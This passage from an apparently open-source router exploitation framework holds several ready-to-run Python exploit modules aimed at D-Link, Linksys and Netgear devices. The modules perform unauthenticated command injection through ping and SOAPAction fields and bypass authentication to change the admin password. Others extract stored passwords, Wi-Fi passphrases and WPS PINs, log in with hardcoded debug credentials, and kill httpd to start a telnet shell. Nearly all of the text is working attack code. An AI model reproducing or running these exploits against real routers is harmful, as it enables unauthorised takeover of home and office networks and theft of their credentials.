= {'cmd': '%s; echo end' % self.command} 72 | headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 73 | 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 74 | 'Accept-Encoding': 'gzip, deflate', 75 | 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' 76 | } 77 | try: 78 | print_warning("Sending exploit") 79 | # Requests forces URI encoding and can't be turned off 80 | # so we have to prepare HTTP request manually and modify it with urllib.parse.quote before sending 81 | request = requests.Request('POST', url, headers=headers, data=payload) 82 | r = request.prepare() 83 | # print("Before modification:", r.body) 84 | r.body = urllib.parse.quote('cmd=%s; echo end' % self.command, safe='/=') 85 | r.headers.update({'Content-Length': len(r.body)}) 86 | # print("After modification:", r.body) 87 | s = requests.Session() 88 | response = s.send(r, timeout=15) 89 | s.close() 90 | # This won't work 91 | # response = requests.post(url, headers=headers, data=payload, proxies=proxies, timeout=60) 92 | if "end" in response.text: # end8758 is unique tag to search for in output 93 | print_success("output of %s:" % self.command) 94 | print_success(response.text) 95 | else: 96 | print_error("could not find marker in response, exploit failed") 97 | except requests.Timeout: 98 | print_error("timeout") 99 | except requests.ConnectionError: 100 | print_error("exploit failed or you killed httpd") 101 | Exploit() 102 | -------------------------------------------------------------------------------- /modules/exploits/dlink/dir300_600_info.py: -------------------------------------------------------------------------------- 1 | # Name:D-link DIR-300 DIR-600 and DIR-615 information disclosure 2 | # File:dir300_600_info.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 18.07.2016 6 | # Last modified: 18.07.2016 7 | # Shodan Dork: 8 | # Description: Information disclosure on DIR-300, DIR-600 and DIR-615(4.0) 9 | # Based on: http://seclists.org/bugtraq/2013/Dec/11 10 | 11 | import core.Exploit 12 | import core.io 13 | 14 | import requests 15 | import re 16 | from interface.messages import print_error, print_yellow, print_success 17 | 18 | 19 | class Exploit(core.Exploit.RextExploit): 20 | """ 21 | Name:D-link DIR-300 DIR-600 and DIR-615 information disclosure 22 | File:dir300_600_info.py 23 | Author:Ján Trenčanský 24 | License: GNU GPL v3 25 | Created: 18.07.2016 26 | Description: Information disclosure on DIR-300, DIR-600 and DIR-615(4.0) 27 | Based on: http://seclists.org/bugtraq/2013/Dec/11 28 | 29 | Options: 30 | Name Description 31 | 32 | host Target host address 33 | port Target port 34 | """ 35 | password = "" 36 | 37 | def __init__(self): 38 | core.Exploit.RextExploit.__init__(self) 39 | 40 | def do_run(self, e): 41 | url = "http://%s:%s/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd" % (self.host, self.port) 42 | 43 | try: 44 | print_yellow("Sending exploit") 45 | response = requests.get(url, timeout=60) 46 | if response.status_code == 200 and "
" in response.text: 47 | print_success("credentials fetched") 48 | credentials = re.findall("
\n\t\t\t(.*)", response.text) 49 | print(credentials[0]) 50 | except requests.Timeout: 51 | print_error("timeout") 52 | except requests.ConnectionError: 53 | print_error("exploit failed") 54 | Exploit() 55 | -------------------------------------------------------------------------------- /modules/exploits/dlink/dir300_615_auth_bypass.py: -------------------------------------------------------------------------------- 1 | # Name:D-link DIR-300 DIR-320 and DIR-615 authentication bypass and password change 2 | # File:dir300_615_auth_bypass.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 18.07.2016 6 | # Last modified: 18.07.2016 7 | # Shodan Dork: 8 | # Description: Auth bypass and password change on DIR-300, 320 and 615 9 | # Strange behaviour experienced between DIR-300 FW:2.04 and FW:2.05 10 | # When using this exploit on 2.04 password is changed, but when using dir300_600_info 11 | # /etc/passwd shows old password, but that is not working anymore, 12 | # anyhow on FW:2.05 this exploit works, but won't change password 13 | # although dir300_600_info reveals password 14 | # I suspect that tools_admin.xgi has to commit the changes to /etc/passwd, but that won't happen 15 | # because request like 16 | # /tools_admin.xgi?random_num=2016.7.17.17.31.17&exeshell=submit%20COMMIT&exeshell=submit%20HTTPD_PASSWD HTTP/1.1 17 | # will get response 401 Not Authorized 18 | # Based on: http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf 19 | 20 | import core.Exploit 21 | import core.io 22 | 23 | import requests 24 | import interface.utils 25 | from interface.messages import print_error, print_success, print_help, print_info, \ 26 | print_warning 27 | 28 | 29 | class Exploit(core.Exploit.RextExploit): 30 | """ 31 | Name:D-link DIR-300 DIR-320 and DIR-615 authentication bypass and password change 32 | File:dir300_615_auth_bypass.py 33 | Author:Ján Trenčanský 34 | License: GNU GPL v3 35 | Created: 18.07.2016 36 | Description: Auth bypass and password change on DIR-300 (tested FW2.04),320 (tested FW1.21) and 615 (not tested) 37 | Based on: http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf 38 | 39 | Options: 40 | Name Description 41 | 42 | host Target host address 43 | port Target port 44 | password New password to admin interface 45 | """ 46 | password = "" 47 | 48 | def __init__(self): 49 | self.password = "password" 50 | core.Exploit.RextExploit.__init__(self) 51 | 52 | def do_set(self, e): 53 | args = e.split(' ') 54 | try: 55 | if args[0] == "host": 56 | if interface.utils.validate_ipv4(args[1]): 57 | self.host = args[1] 58 | else: 59 | print_error("please provide valid IPv4 address") 60 | elif args[0] == "port": 61 | if str.isdigit(args[1]): 62 | self.port = args[1] 63 | else: 64 | print_error("port value must be integer") 65 | elif args[0] == "password": 66 | self.password = ' '.join(args[1:]) 67 | except IndexError: 68 | print_error("please specify value for variable") 69 | 70 | def do_password(self, e): 71 | print_info(self.password) 72 | 73 | def help_password(self): 74 | print_help("Prints current value of password") 75 | 76 | def do_run(self, e): 77 | url = "http://%s:%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0" % (self.host, self.port) 78 | 79 | try: 80 | print_warning("Sending exploit") 81 | response = requests.get(url, timeout=60) 82 | if response.status_code == 200 and 'name="admin_password1"' in response.text: 83 | print_success("target seems vulnerable") 84 | print_success("You can visit any page by adding ?NO_NEED_AUTH=1&AUTH_GROUP=0 to URL") 85 | print_info("Changing admin password") 86 | headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 87 | 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 88 | 'Accept-Encoding': 'gzip, deflate', 89 | 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' 90 | } 91 | payload = {'NO_NEED_AUTH': 1, 92 | 'AUTH_GROUP': 0, 93 | 'ACTION_POST': 1, 94 | 'apply': 'Save+Settings', 95 | 'admin_name': 'admin', 96 | 'admin_password1': '%s' % self.password, 97 | 'admin_password2': '%s' % self.password, 98 | 'grap_auth_enable_h': 0, 99 | 'rt_ipaddr': '0.0.0.0'} 100 | url = "http://%s:%s/tools_admin.php" % (self.host, self.port) 101 | response = requests.post(url=url, headers=headers, data=payload, timeout=60) 102 | if response.status_code == 200: 103 | print_success("password seems to be changed try to login with: %s" % self.password) 104 | else: 105 | print_error("password change failed") 106 | 107 | else: 108 | print_error("exploit failed") 109 | except requests.Timeout: 110 | print_error("timeout") 111 | except requests.ConnectionError: 112 | print_error("exploit failed") 113 | Exploit() 114 | -------------------------------------------------------------------------------- /modules/exploits/dlink/dir645_auth_bypass.py: -------------------------------------------------------------------------------- 1 | # Name:D-link DIR-645 authentication bypass 2 | # File:dir645_auth_bypass.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 18.07.2016 6 | # Last modified: 18.07.2016 7 | # Shodan Dork: 8 | # Description: Authentication bypass in D-Link DIR-645, firmware version < 1.03 9 | # Based on: https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt 10 | 11 | import core.Exploit 12 | import core.io 13 | 14 | import requests 15 | import re 16 | from interface.messages import print_error, print_success, print_warning 17 | 18 | 19 | class Exploit(core.Exploit.RextExploit): 20 | """ 21 | Name:D-link DIR-645 authentication bypass 22 | File:dir645_auth_bypass.py 23 | Author:Ján Trenčanský 24 | License: GNU GPL v3 25 | Created: 18.07.2016 26 | Description: Authentication bypass in D-Link DIR-645, firmware version < 1.03 27 | Based on: https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt 28 | 29 | Options: 30 | Name Description 31 | 32 | host Target host address 33 | port Target port 34 | """ 35 | 36 | def __init__(self): 37 | core.Exploit.RextExploit.__init__(self) 38 | 39 | def do_run(self, e): 40 | url = "http://%s:%s/getcfg.php" % (self.host, self.port) 41 | 42 | payload = {'SERVICES': 'DEVICE.ACCOUNT'} 43 | headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 44 | 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 45 | 'Accept-Encoding': 'gzip, deflate', 46 | 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' 47 | } 48 | try: 49 | print_warning("Sending exploit") 50 | response = requests.post(url, headers=headers, data=payload, timeout=60) 51 | if "DEVICE.ACCOUNT" in response.text: 52 | usernames = re.findall("(.*)", response.text) 53 | passwords = re.findall("(.*)", response.text) 54 | 55 | if "==OoXxGgYy==" in passwords: 56 | print_error("Exploit failed, router responded with default value ==OoXxGgYy==") 57 | else: 58 | print_success("") 59 | for i in range(len(usernames)): 60 | print("Username: " + usernames[i]) 61 | print("Password: " + passwords[i]) 62 | else: 63 | print_error("Exploit failed") 64 | except requests.Timeout: 65 | print_error("timeout") 66 | except requests.ConnectionError: 67 | print_error("exploit failed") 68 | Exploit() 69 | -------------------------------------------------------------------------------- /modules/exploits/dlink/dir815_645_exec.py: -------------------------------------------------------------------------------- 1 | # Name:D-link DIR-815 and DIR-645 and others command execution no auth 2 | # File:dir815_645_exec.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 17.07.2016 6 | # Last modified: 18.07.2016 7 | # Shodan Dork: 8 | # Description: Command execution vulnerability for multiple D-link models listed below: 9 | # DIR-815 v1.03b02 10 | # DIR-645 v1.02 (unauthenticated command injection) 11 | # DIR-645 v1.03 (authenticated command injection) 12 | # DIR-600 below v2.16b01 (with v2.16b01 D-Link also fixes different vulnerabilities reported in M1ADV2013-003) 13 | # DIR-300 revB v2.13b01 (unauthenticated command injection) 14 | # DIR-300 revB v2.14b01 (authenticated command injection) 15 | # DIR-412 Ver 1.14WWB02 (unauthenticated command injection) 16 | # DIR-456U Ver 1.00ONG (unauthenticated command injection) 17 | # DIR-110 Ver 1.01 (unauthenticated command injection) 18 | # Based on: http://www.s3cur1ty.de/m1adv2013-017 19 | 20 | import core.Exploit 21 | import core.io 22 | 23 | import requests 24 | import interface.utils 25 | from interface.messages import print_error, print_success, print_help, print_info, print_warning 26 | 27 | 28 | class Exploit(core.Exploit.RextExploit): 29 | """ 30 | Name:D-link DIR-815 and DIR-645 and mothers command execution no auth 31 | File:dir815_645_exec.py 32 | Author:Ján Trenčanský 33 | License: GNU GPL v3 34 | Created: 17.07.2016 35 | Description: Command execution vulnerability for multiple D-link models listed below: 36 | DIR-815 v1.03b02 37 | DIR-645 v1.02 (unauthenticated command injection) 38 | DIR-645 v1.03 (authenticated command injection) 39 | DIR-600 below v2.16b01 40 | DIR-300 revB v2.13b01 (unauthenticated command injection) 41 | DIR-300 revB v2.14b01 (authenticated command injection) 42 | DIR-412 Ver 1.14WWB02 (unauthenticated command injection) 43 | DIR-456U Ver 1.00ONG (unauthenticated command injection) 44 | DIR-110 Ver 1.01 (unauthenticated command injection) 45 | Based on: http://www.s3cur1ty.de/m1adv2013-017 46 | 47 | Options: 48 | Name Description 49 | 50 | host Target host address 51 | port Target port 52 | command Command to execute e.g. cat var/passwd 53 | """ 54 | command = "" 55 | 56 | def __init__(self): 57 | self.command = "ls" 58 | core.Exploit.RextExploit.__init__(self) 59 | 60 | def do_set(self, e): 61 | args = e.split(' ') 62 | try: 63 | if args[0] == "host": 64 | if interface.utils.validate_ipv4(args[1]): 65 | self.host = args[1] 66 | else: 67 | print_error("please provide valid IPv4 address") 68 | elif args[0] == "port": 69 | if str.isdigit(args[1]): 70 | self.port = args[1] 71 | else: 72 | print_error("port value must be integer") 73 | elif args[0] == "command": 74 | self.command = ' '.join(args[1:]) 75 | except IndexError: 76 | print_error("please specify value for variable") 77 | 78 | def do_command(self, e): 79 | print_info(self.command) 80 | 81 | def help_command(self): 82 | print_help("Prints current value of command") 83 | 84 | def do_run(self, e): 85 | url = "http://%s:%s/diagnostic.php" % (self.host, self.port) 86 | 87 | payload = {'act': 'ping', 88 | 'dst': '& %s&' % self.command} 89 | headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 90 | 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 91 | 'Accept-Encoding': 'gzip, deflate', 92 | 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' 93 | } 94 | try: 95 | print_warning("Sending exploit") 96 | response = requests.post(url, headers=headers, data=payload, timeout=60) 97 | if "OK" in response.text: 98 | print_success("output not available this is blind injection") 99 | else: 100 | print_error("could not find marker in response, exploit failed") 101 | except requests.Timeout: 102 | print_error("timeout") 103 | except requests.ConnectionError: 104 | print_error("exploit failed") 105 | Exploit() 106 | -------------------------------------------------------------------------------- /modules/exploits/dlink/dir890l_soapaction.py: -------------------------------------------------------------------------------- 1 | # Name:D-link SOAPAction header command execution vulnerability 2 | # File:dir890l_soapaction.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 21.12.2015 6 | # Last modified: 21.12.2015 7 | # Shodan Dork: 8 | # Description: Command execution vulnerability for: 9 | # DAP-15522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA revB, DIR-815 revB, DIR-300 revB, 10 | # DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR 11 | # Based on: http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/ 12 | 13 | import core.Exploit 14 | import core.io 15 | 16 | import requests 17 | import telnetlib 18 | import interface.utils 19 | from core.io import query_yes_no, writetextfile 20 | from interface.messages import print_error, print_success, print_help, print_info, print_warning 21 | 22 | 23 | class Exploit(core.Exploit.RextExploit): 24 | """ 25 | Name:D-link SOAPAction header command execution vulnerability 26 | File:dir890l_soapaction.py 27 | Author:Ján Trenčanský 28 | License: GNU GPL v3 29 | Created: 21.12.2015 30 | Description: Command execution vulnerability for: 31 | DAP-15522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA revB, DIR-815 revB, DIR-300 revB, 32 | DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR 33 | Based on: http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/ 34 | 35 | Options: 36 | Name Description 37 | 38 | host Target host address 39 | port Target port 40 | command Command to execute e.g. cat var/passwd 41 | """ 42 | command = "" 43 | 44 | def __init__(self): 45 | self.command = "killall httpd; killall hnap; telnetd -p %s" % self.port 46 | core.Exploit.RextExploit.__init__(self) 47 | 48 | def do_set(self, e): 49 | args = e.split(' ') 50 | try: 51 | if args[0] == "host": 52 | if interface.utils.validate_ipv4(args[1]): 53 | self.host = args[1] 54 | else: 55 | print_error("please provide valid IPv4 address") 56 | elif args[0] == "port": 57 | if str.isdigit(args[1]): 58 | self.port = args[1] 59 | else: 60 | print_error("port value must be integer") 61 | elif args[0] == "command": 62 | self.command = ' '.join(args[1:]) 63 | except IndexError: 64 | print_error("please specify value for variable") 65 | 66 | def do_command(self, e): 67 | print_info(self.command) 68 | 69 | def help_command(self): 70 | print_help("Prints current value of command") 71 | 72 | def do_run(self, e): 73 | url = "http://%s:%s/HNAP1" % (self.host, self.port) 74 | 75 | headers = {"SOAPAction": '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % self.command} 76 | try: 77 | print_warning("Sending exploit") 78 | requests.post(url, headers=headers, timeout=60) 79 | print_warning("HTTPd is still responding this is OK if you changed the payload") 80 | except requests.ConnectionError: 81 | print_success("exploit sent.") 82 | answer = query_yes_no("Do you wish to dump all system settings? (if telned was started)") 83 | if answer is True: 84 | tn = telnetlib.Telnet(self.host, self.port) 85 | print_info("Sending command through telnet") 86 | tn.read_until(b'#', timeout=15) 87 | tn.write(b"xmldbc -d /var/config.xml; cat /var/config.xml\n") 88 | response = tn.read_until(b'#', timeout=15) 89 | tn.close() 90 | print_info("Writing response to config.xml") 91 | writetextfile(response.decode('ascii'), "config.xml") 92 | print_warning("Don't forget to restart httpd or reboot the device") 93 | except requests.Timeout: 94 | print_error("timeout") 95 | Exploit() 96 | -------------------------------------------------------------------------------- /modules/exploits/dlink/dsl_2750b_info.py: -------------------------------------------------------------------------------- 1 | # Name:D-link DSL-2750B EU_1.01 information disclosure 2 | # File:dsl_2750b_info.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 18.07.2016 6 | # Last modified: 18.07.2016 7 | # Shodan Dork: 8 | # Description: An attacker is able to obtain critical information (Wifi passphrase, pin) without being logged in. 9 | # Based on: http://seclists.org/fulldisclosure/2015/May/129 10 | 11 | import core.Exploit 12 | import core.io 13 | 14 | import re 15 | import requests 16 | from interface.messages import print_error, print_success, print_green, print_warning 17 | 18 | 19 | class Exploit(core.Exploit.RextExploit): 20 | """ 21 | Name:D-link DSL-2750B EU_1.01 and EU_1.03 information disclosure 22 | File:dsl_2750b_info.py 23 | Author:Ján Trenčanský 24 | License: GNU GPL v3 25 | Created: 18.07.2016 26 | Description: An attacker is able to obtain critical information (Wifi passphrase, pin) without being logged in. 27 | it looks like EU_1.01 returns data in different format than EU_1.03 28 | Based on: http://seclists.org/fulldisclosure/2015/May/129 29 | 30 | Options: 31 | Name Description 32 | 33 | host Target host address 34 | port Target port 35 | """ 36 | 37 | def __init__(self): 38 | core.Exploit.RextExploit.__init__(self) 39 | 40 | def do_run(self, e): 41 | url = "http://%s:%s/hidden_info.html" % (self.host, self.port) 42 | 43 | try: 44 | print_warning("Sending exploit") 45 | response = requests.get(url, timeout=60) 46 | if "Manufacture Information" in response.text: 47 | print_success("information obtained, writing response into hidden_info.html") 48 | core.io.writetextfile(response.text, "hidden_info.html") 49 | print_warning("Please check file, response seems to depend on FW version, parsing may not be accurate") 50 | value = re.findall("str =\(\"\[\{(.*)\}", response.text) 51 | value = value[0].split(',') 52 | for i in value: 53 | print_green(i) 54 | else: 55 | print_error("exploit failed") 56 | except requests.Timeout: 57 | print_error("timeout") 58 | except requests.ConnectionError: 59 | print_error("exploit failed") 60 | Exploit() 61 | -------------------------------------------------------------------------------- /modules/exploits/linksys/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/exploits/linksys/ea6100_auth_bypass.py: -------------------------------------------------------------------------------- 1 | # Name:Linksys EA6100 authentication bypass 2 | # File:ea6100_auth_bypass.py 3 | # Author:Ján Trenčanský 4 | # License: 5 | # Created: 7.12.2015 6 | # Last modified: 7.12.2015 7 | # Shodan Dork: 8 | # Description: Multiple CGI scripts in the web-based administrative 9 | # interface of the Linksys EA6100 - EA6300 Wireless Router 10 | # allow unauthenticated access to the high-level administrative functions of the device. 11 | # Not based on (licence prohibits it): https://www.korelogic.com/Resources/Advisories/KL-001-2015-006.txt 12 | # Any similarities in the code are pure coincidence 13 | # TODO get device and implement password reset wifi etc. 14 | 15 | import core.Exploit 16 | import core.io 17 | 18 | import requests 19 | import re 20 | from interface.messages import print_error, print_yellow, print_green, print_warning, print_success, print_info 21 | from interface.utils import lookup_mac 22 | 23 | 24 | class Exploit(core.Exploit.RextExploit): 25 | """ 26 | Name:Linksys EA6100 authentication bypass 27 | File:ea6100_auth_bypass.py 28 | Author:Ján Trenčanský 29 | License: 30 | Created: 7.12.2015 31 | Description: Multiple CGI scripts in the web-based administrative 32 | interface of the Linksys EA6100 - EA6300 Wireless Router 33 | allow unauthenticated access to the high-level administrative functions of the device. 34 | Not based on (license prohibits it): https://www.korelogic.com/Resources/Advisories/KL-001-2015-006.txt 35 | Any similarities in the code are pure coincidence 36 | 37 | Options: 38 | Name Description 39 | 40 | host Target host address 41 | port Target port 42 | """ 43 | def __init__(self): 44 | core.Exploit.RextExploit.__init__(self) 45 | 46 | def send_payload(self, payload): 47 | target = "http://" + self.host + ":" + self.port + "/" + payload 48 | try: 49 | response = requests.get(target, timeout=60) 50 | return response.text 51 | 52 | except requests.RequestException: 53 | print_error("timeout!") 54 | 55 | def do_run(self, e): 56 | print_warning("Sending payload sysinfo") 57 | result = self.send_payload("sysinfo.cgi") 58 | if result: 59 | print_success("Got system information, writing to file") 60 | core.io.writetextfile(result, "sysinfo") 61 | print_info("Analyzing sysinfo...") 62 | regex = re.search("device::default_passphrase=(.*)", result) 63 | if regex: 64 | try: 65 | print_green("Default admin passphrasse: " + regex.group(1)) 66 | except IndexError: 67 | print_error("Unable to locate passphrasse") 68 | 69 | regex = re.search("device::mac_addr=(.*)", result) 70 | if regex: 71 | try: 72 | print_green("MAC: " + regex.group(1) + lookup_mac(regex.group(1))) 73 | except IndexError: 74 | print_error("Unable to locate MAC") 75 | regex = re.search("device::default_ssid=(.*)", result) 76 | if regex: 77 | try: 78 | print_green("Default SSID:: " + regex.group(1)) 79 | except IndexError: 80 | print_error("Unable to locate default SSID") 81 | regex = re.search("device::wps_pin=(.*)", result) 82 | if regex: 83 | try: 84 | print_green("WPS Pin: " + regex.group(1)) 85 | except IndexError: 86 | print_error("Unable to locate WPS pin") 87 | regex = re.search("wl0_ssid=(.*)", result) 88 | if regex: 89 | try: 90 | print_green("SSID: " + regex.group(1)) 91 | except IndexError: 92 | print_error("Unable to locate SSID") 93 | regex = re.search("wl0_passphrase=(.*)", result) 94 | if regex: 95 | try: 96 | print_green("Passphrase: " + regex.group(1)) 97 | except IndexError: 98 | print_error("Unable to locate passphrase") 99 | regex = re.search("wl1_ssid=(.*)", result) 100 | if regex: 101 | try: 102 | print_green("SSID: " + regex.group(1)) 103 | except IndexError: 104 | print_error("Unable to locate SSID") 105 | regex = re.search("wl1_passphrase=(.*)", result) 106 | if regex: 107 | try: 108 | print_green("Passphrase: " + regex.group(1)) 109 | except IndexError: 110 | print_error("Unable to locate passphrase") 111 | print_yellow("Sending payload getstinfo") 112 | result = self.send_payload("getstinfo.cgi") 113 | if result: 114 | print_success("Got SSID hash and passphrase hash, writing to file") 115 | core.io.writetextfile(result, "getstinfo") 116 | print_success(result) 117 | 118 | Exploit() 119 | -------------------------------------------------------------------------------- /modules/exploits/linksys/wap54gv3_exec.py: -------------------------------------------------------------------------------- 1 | # Name: Linksys WAP54Gv3 remote code execution 2 | # File: wap54gv3_exec.py 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 23.07.2016 6 | # Last modified: 23.07.2016 7 | # Shodan Dork: 8 | # Description: Debug interface with hardcoded credentials allows to run commands with root privileges 9 | # Based on: http://seclists.org/bugtraq/2010/Jun/93 10 | 11 | import core.Exploit 12 | import core.io 13 | 14 | import requests 15 | import re 16 | import interface.utils 17 | from interface.messages import print_error, print_success, print_help, print_info 18 | 19 | 20 | class Exploit(core.Exploit.RextExploit): 21 | """ 22 | Name: Linksys WAP54Gv3 remote code execution 23 | File: wap54gv3_exec.py 24 | Author:Ján Trenčanský 25 | License: GNU GPL v3 26 | Created: 23.07.2016 27 | Description: Debug interface with hardcoded credentials allows to run commands with root privileges 28 | Based on: http://seclists.org/bugtraq/2010/Jun/93 29 | 30 | Options: 31 | Name Description 32 | 33 | host Target host address 34 | port Target port 35 | command Command to execute e.g. cat var/passwd 36 | """ 37 | command = "" 38 | 39 | def __init__(self): 40 | self.command = "pwd" 41 | core.Exploit.RextExploit.__init__(self) 42 | 43 | def do_set(self, e): 44 | args = e.split(' ') 45 | try: 46 | if args[0] == "host": 47 | if interface.utils.validate_ipv4(args[1]): 48 | self.host = args[1] 49 | else: 50 | print_error("please provide valid IPv4 address") 51 | elif args[0] == "port": 52 | if str.isdigit(args[1]): 53 | self.port = args[1] 54 | else: 55 | print_error("port value must be integer") 56 | elif args[0] == "command": 57 | self.command = ' '.join(args[1:]) 58 | except IndexError: 59 | print_error("please specify value for variable") 60 | 61 | def do_command(self, e): 62 | print_info(self.command) 63 | 64 | def help_command(self): 65 | print_help("Prints current value of command") 66 | 67 | def do_run(self, e): 68 | url = "http://%s:%s/debug.cgi" % (self.host, self.port) 69 | data = {"data1": "echo 741852", "command": "ui_debug"} 70 | 71 | try: 72 | response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60) 73 | result = re.findall("", response.text) 74 | if "741852" == result[0]: 75 | print_success("Target is vulnerable") 76 | data = {"data1": self.command, "command": "ui_debug"} 77 | response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60) 78 | result = re.findall("", response.text) 79 | print(result[0]) 80 | else: 81 | print_error("target is not vulnerable") 82 | except requests.Timeout: 83 | print_error("timeout") 84 | except requests.ConnectionError: 85 | print_error("exploit failed") 86 | except TypeError: 87 | print_error("Something went wrong in answer parsing") 88 | Exploit() 89 | -------------------------------------------------------------------------------- /modules/exploits/netgear/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /modules/exploits/netgear/n300_auth_bypass.py: -------------------------------------------------------------------------------- 1 | # Name:Netgear N300 authentication bypass 2 | # File:n300_auth_bypass.py 3 | # Author:Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 16.11.2015 6 | # Last modified: 16.11.2015 7 | # Shodan Dork: 8 | # Description: Bypasses router authentication on Netgear N300 with firmware N300_1.1.0.31_1.0.1.img 9 | # or N300-1.1.0.28_1.0.1.img other devices may be vulnerable as well 10 | # Based on: http://www.csnc.ch/misc/files/advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt 11 | 12 | import time 13 | 14 | import core.Exploit 15 | 16 | import requests 17 | from interface.messages import print_error, print_success, print_warning 18 | 19 | 20 | class Exploit(core.Exploit.RextExploit): 21 | """ 22 | Name:Netgear N300 authentication bypass 23 | File:n300_auth_bypass.py 24 | Author:Ján Trenčanský 25 | License: GNU GPL v3 26 | Created: 16.11.2015 27 | Description: Bypasses router authentication on Netgear N300 with firmware N300_1.1.0.31_1.0.1.img 28 | or N300-1.1.0.28_1.0.1.img other devices may be vulnerable as well 29 | Based on: http://www.csnc.ch/misc/files/advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt 30 | 31 | Options: 32 | Name Description 33 | 34 | host Target host address 35 | port Target port 36 | """ 37 | def __init__(self): 38 | core.Exploit.RextExploit.__init__(self) 39 | 40 | def do_run(self, e): 41 | target = "http://" + self.host + ":" + self.port 42 | try: 43 | response = requests.get(target, timeout=60) 44 | if response.status_code == requests.codes.unauthorized: 45 | print_warning("Password protection detected") 46 | for i in range(0, 3): 47 | time.sleep(1) 48 | requests.get(target+"/BRS_netgear_success.html", timeout=60) 49 | response = requests.get(target, timeout=60) 50 | if response.status_code == requests.codes.ok: 51 | print_success("bypass successful. Now use your browser to have at look at the admin interface.") 52 | 53 | except requests.RequestException: 54 | print_error("timeout!") 55 | 56 | Exploit() 57 | -------------------------------------------------------------------------------- /modules/exploits/netgear/prosafe_exec.py: -------------------------------------------------------------------------------- 1 | # Name: Netgear ProSAFE remote code execution 2 | # File: prosafe_exec.py 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | # Created: 23.07.2016 6 | # Last modified: 23.07.2016 7 | # Shodan Dork: 8 | # Description: Pre-auth command execution in web interface in Netgear ProSAFE WC9500, WC7600, WC7520 9 | # Based on: http://firmware.re/vulns/acsa-2015-002.php 10 | 11 | import core.Exploit 12 | import core.io 13 | 14 | import requests 15 | import interface.utils 16 | from interface.messages import print_error, print_success, print_help, print_info 17 | 18 | 19 | class Exploit(core.Exploit.RextExploit): 20 | """ 21 | Name: Netgear ProSAFE remote code execution 22 | File: prosafe_exec.py 23 | Author:Ján Trenčanský 24 | License: GNU GPL v3 25 | Created: 23.07.2016 26 | Description: Pre-auth command execution in web interface in Netgear ProSAFE WC9500, WC7600, WC7520 27 | Based on: http://firmware.re/vulns/acsa-2015-002.php 28 | 29 | Options: 30 | Name Description 31 | 32 | host Target host address 33 | port Target port 34 | command Command to execute e.g. cat var/passwd 35 | """ 36 | command = "" 37 | 38 | def __init__(self): 39 | self.command = "pwd" 40 | core.Exploit.RextExploit.__init__(self) 41 | 42 | def do_set(self, e): 43 | args = e.split(' ') 44 | try: 45 | if args[0] == "host": 46 | if interface.utils.validate_ipv4(args[1]): 47 | self.host = args[1] 48 | else: 49 | print_error("please provide valid IPv4 address") 50 | elif args[0] == "port": 51 | if str.isdigit(args[1]): 52 | self.port = args[1] 53 | else: 54 | print_error("port value must be integer") 55 | elif args[0] == "command": 56 | self.command = ' '.join(args[1:]) 57 | except IndexError: 58 | print_error("please specify value for variable") 59 | 60 | def do_command(self, e): 61 | print_info(self.command) 62 | 63 | def help_command(self): 64 | print_help("Prints current value of command") 65 | 66 | def do_run(self, e): 67 | url = "http://%s:%s/login_handler.php" % (self.host, self.port) 68 | headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 69 | 'Accept-Language': 'Accept-Language: en-us,en;q=0.5', 70 | 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' 71 | } 72 | data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; echo "741852' 73 | try: 74 | response = requests.post(url=url, headers=headers, data=data, timeout=60) 75 | if "741852" in response.text: 76 | print_success("target is vulnerable") 77 | # Not so sure about quoting of commands that has arguments 78 | data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; %s' % self.command 79 | response = requests.post(url=url, headers=headers, data=data, timeout=60) 80 | print(response.text) 81 | elif "failure" in response.text: 82 | print_error("Exploit failed, target is probably patched") 83 | print(response.text) 84 | except requests.Timeout: 85 | print_error("exploit failed") 86 | except 